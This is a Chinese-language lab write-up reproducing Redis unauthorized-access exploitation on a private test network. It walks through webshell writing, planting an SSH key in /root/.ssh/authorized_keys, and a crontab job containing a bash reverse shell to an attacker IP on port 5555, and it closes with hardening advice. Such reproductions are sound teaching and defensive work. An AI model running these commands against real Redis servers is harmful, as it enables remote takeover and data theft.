Redis未授權訪問漏洞復現
一、漏洞描述
Redis默認情況下,會綁定在0.0.0.0:6379(在redis3.2之后,redis增加了protected-mode,在這個模式下,非綁定IP或者沒有配置密碼訪問時都會報錯),如果沒有進行采用相關的策略,比如添加防火牆規則避免其他非信任來源ip訪問等等,這樣將會將Redis服務暴露在公網上,如果在沒有設置密碼認證(默認為空)的情況下,會導致任意用戶在可以訪問目標服務器的情況下未授權訪問Redis以及讀取Redis的數據。攻擊者在未授權訪問Redis的情況下,利用Redis自身的提供的config命令,可以進行寫文件操作,攻擊者還可以成功將自己的ssh公鑰寫入目標服務器的/root/.ssh文件的authotrized_keys 文件中,進而可以使用對應私鑰直接使用ssh服務器登錄目標服務器。
漏洞的產生條件有以下兩點:
(1) Redis綁定在0.0.0.0:6379,且沒有進行添加防火牆規則避免其他非信任來源ip訪問等相關安全策略,直接暴露在公網
(2) 沒有設置密碼認證(默認為空)或者弱密碼,可以免密碼登錄redis服務
二、漏洞影響版本
Redis 2.x,3.x,4.x,5.x
三、漏洞危害
(1) 攻擊者無需認證訪問到內部數據,可能導致敏感信息泄露,黑客也可以惡意執行flushall來清空所有數據
(2) 攻擊者可通過eval執行lua代碼,或通過數據備份功能往磁盤寫入后門文件
(3) 如果redis以root身份運行,黑客可以給root賬戶寫入SSH公鑰文件,直接通過SSH登錄目標服務器
四、漏洞環境搭建
靶機:ubuntu 16.04 192.168.10.134
攻擊機:kali 192.168.10.138
1、靶機安裝redis服務器(redis-server)
1.1下載redis-4.0.10
wget http://download.redis.io/releases/redis-4.0.10.tar.gz
1.2、解壓,進入源碼目錄,然后編譯(make、make install)
1.3啟動服務(redis-server)
1.3.1啟動redis服務,注意關閉防火牆,Ubuntu除了iptables機制,還有ufw安全機制
1.3.2啟動redis-server服務
1.4查看是否啟動了redis-server服務
ps -ef |grep redis-server
2.kali安裝安裝redis客戶端(redis-cli)
2.1下載redis-4.0.10
wget http://download.redis.io/releases/redis-4.0.10.tar.gz
2.2 解壓,編譯
2.3測試redis客戶端是否安裝完成
五、漏洞復現
1、測試目標靶機是否存在未授權訪問,下圖說明靶機存在未授權訪問,導致信息泄露(注:由於redis-4.0.10版本中配置文件默認已經啟用了保護,下面將使用redis-2.8.17)
利用方式1:寫入webshell
利用條件:目標開啟了web服務器,並且知道web路徑(可以利用phpinfo或者錯誤暴路徑等),還需要具有讀寫增刪改查權限
2、把shell寫入到網站根目錄下(/var/www/html/)
3、在靶機上查看是否寫入了1.php文件
4、瀏覽器訪問http://192.168.10.139/1.php,發現在目標靶機成功寫入webshell
5、寫入一句話木馬
6、菜刀連接, 注:在ubuntu環境測試,菜刀一直解析不到上傳的木馬
利用方式2:通過寫入SSH公鑰實現SSH登錄
原理就是在數據庫中插入一條數據,將本機的公鑰作為value,key值隨意,然后通過修改數據庫的默認路徑為/root/.ssh和默認的緩沖文件authorized.keys,把緩沖的數據保存在文件里,這樣就可以在服務器端的/root/.ssh下生一個授權的key。
7、首先在攻擊機(kali)上生成ssh公鑰
8、將公鑰寫入key.txt文件(前后用\n換行,避免和redis里其他緩存數據混合)。
(echo -e "\n";cat id_rsa.pub;echo -e "\n")>key.txt
9、再把key.txt文件內容寫入redis緩沖
cat /root/.ssh/key.txt |./redis-cli -h 192.168.10.139 -x set pub
10.1、設置redis的dump文件路徑為/root/.ssh且文件名為authorized_keys,注意: redis 可以創建文件但無法創建目錄,所以,redis 待寫入文件所在的目錄必須事先存在。出現如下圖錯誤是因為目標靶機不存在.ssh目錄(默認沒有,需要生成公、私鑰或者建立ssh連接時才會生成)
10.2當目標使用過ssh服務之后,就會產生.ssh目錄了,然后進行如下操作
11、測試是否可以通過ssh登錄目標服務器,成功登錄
利用方式3:在crontab里寫定時任務,反彈shell
12、在客戶端開啟監聽(kali攻擊機)
13、在客戶端(kali攻擊機)使用redis-cli連接redis服務器,寫入反彈shell
set xxx "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.10.140/5555 0>&1\n\n"
config set dir /var/spool/cron
config set dbfilename root
save
14、1分鍾后客戶端這邊收到centos的反彈shell,注意:在ubuntu測試計划任務寫入成功但不執行
15、在目標靶機(centos)上查看計划任務
六、修復建議
1、禁止外部訪問Redis服務端口
2、禁止使用root權限啟動redis服務
3、配置安全組,限制可連接Redis服務器的IP
-------------------------------------------------------------------------
參考: https://www.freebuf.com/column/158065.html
https://www.freebuf.com/vuls/148758.html
redis安裝: https://www.jianshu.com/p/2f53c9a4b4c6